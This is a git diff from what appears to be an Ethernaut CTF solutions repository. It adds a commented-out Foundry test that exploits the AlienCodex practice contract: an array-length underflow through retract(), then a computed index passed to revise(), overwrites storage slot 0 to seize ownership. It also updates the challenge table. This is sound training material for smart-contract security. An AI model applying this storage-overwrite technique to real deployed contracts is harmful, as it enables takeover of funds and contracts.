diff --git a/doc/EthernautCTF.md b/doc/EthernautCTF.md index 8ba4335..fe5194a 100644 --- a/doc/EthernautCTF.md +++ b/doc/EthernautCTF.md @@ -20,7 +20,7 @@ | 16 | [Preservation](../src/EthernautCTF/Preservation.sol) (\*) | ✅ | [PreservationExploit](../test/EthernautCTF/PreservationExploit.t.sol) | Make use of the `delegatecall` to overwrite the storage of the main contract. This time it involved a bit more creativity as it required to overwrite an address (20 bytes) using a uint256 (32 bytes). | | 17 | [Recovery](../src/EthernautCTF/Recovery.sol) | ✅ | [RecoveryExploit](../test/EthernautCTF/RecoveryExploit.t.sol) | The address of an Ethereum contract is deterministically computed from the address of its creator (sender) and its nonce (how many transactions the creator has sent). The sender and nonce are RLP-encoded and then hashed with keccak256. For a Solidity implementation, check the exploit code. | | 18 | [MagicNumber](../src/EthernautCTF/MagicNumber.sol) | ✅ | [MagicNumberExploit](../test/EthernautCTF/MagicNumberExploit.t.sol) | - Use raw bytecode to create the smallest possible contract.
- Learn about initialization code to be able to run any runtime code.
- Learn about `create` to create a contract from the initialization code. | -| 19 | AlienCode | ❌ | | | +| 19 | AlienCode | ❌ | | The challenge requires to use solidity version `^0.5.0` but unfortunately, the minimum version supported by [forge-std](https://github.com/foundry-rs/forge-std) is `0.6.2`. Thus, the solution of this challenge won't be part of this repository. | | 20 | Denial | ❌ | | | | 21 | [Shop](../src/EthernautCTF/Shop.sol) | ❌ | | | | 22 | Dex | ❌ | | | diff --git a/src/EthernautCTF/AlienCode.sol b/src/EthernautCTF/AlienCodex.sol similarity index 100% rename from src/EthernautCTF/AlienCode.sol rename to src/EthernautCTF/AlienCodex.sol diff --git a/test/EthernautCTF/AlienCodexExploit.t.sol.txt b/test/EthernautCTF/AlienCodexExploit.t.sol.txt new file mode 100644 index 0000000..e6d2817 --- /dev/null +++ b/test/EthernautCTF/AlienCodexExploit.t.sol.txt @@ -0,0 +1,67 @@ +// SPDX-License-Identifier: GPL-3.0 +// Unfortunately, the minimum version supported by forge-std is 0.6.2. +// That is the reason why this file is commented out. +// pragma solidity ^0.5.0; + +// import '../../src/EthernautCTF/AlienCodex.sol'; +// import '@forge-std/Test.sol'; +// import '@forge-std/console2.sol'; + +// contract AlienCodexExploit { +// AlienCodex target; +// address deployer = makeAddr('deployer'); +// address exploiter = makeAddr('exploiter'); + +// function setUp() public { +// vm.startPrank(deployer); +// target = new AlienCodex(); +// console2.log('Target contract deployed'); +// vm.stopPrank(); +// } + +// function testExploit() public { +// // The AlienCodex contract inherits the storage of the Ownable contract. + +// // The Ownable contract has the following storage layout: +// // - slot0: address private _owner + +// // The AlienCodex contract has thus the following storage layout: +// // - slot0: address private _owner (Ownable storage) -> 20 bytes +// // - slot0: bool public contact -> 1 byte +// // - slot1: length of the bytes32[] public codex dynamic array +// // - slot keccak256(1): first element of the array +// // - slot keccak256(2): second element of the array +// // ... + +// // Here is an example: +// // - slot0: 0x7f1234567890123456789012345678901234567890000000000000000000000001 +// // with address private owner: 0x7f123456789012345678901234567890123456789. +// // and bool public contact: 0x01 (padded with zeros). +// // - slot1: 0x0000000000000000000000000000000000000000000000000000000000000003 +// // which represents the length of the array: 3 +// // - slot keccak256(slot_number) or slot keccak256(1)=0xa5f3...: 0x1111111111111111111111111111111111111111111111111111111111111111 (random 32-byte value) +// // - slot keccak256(1)+1: 0x2222222222222222222222222222222222222222222222222222222222222222 +// // - slot keccak256(1)+2: 0x3333333333333333333333333333333333333333333333333333333333333333 + +// // The goal is to use the `retract` method to reduce the size of the dynamic +// // array to modify the slot0 value (owner). + +// vm.startPrank(exploiter); +// // Make contact to be able to pass the `contacted` modifier. +// target.makeContact(); +// assertTrue(target.contact()); + +// // The codex array is empty, thus codex.length is equal to zero. +// // Since we are using solidity ^0.5.0, we can trigger an underflow by substracting one from zero. +// target.retract(); // codex.length is now equal to 2^256 - 1. + +// // The codex dynamic array can now be used to access any variables stored in the contract. +// // codex[0] refers to slot keccak256(1) +// // codex[1] refers to slot keccak256(1)+1 +// // codex[2^256 - 1 - uint(keccak256(1))] refers to slot 2^256 - 1 +// // codex[2^256 - 1 - uint(keccak256(1)) + 1] refers to slot 0 +// uint256 index = (2 ** 256) - uint(keccak256(abi.encode(1))); +// target.revise(index, bytes32(uint256(uint160(exploiter)))) +// vm.stopPrank(); +// } +// }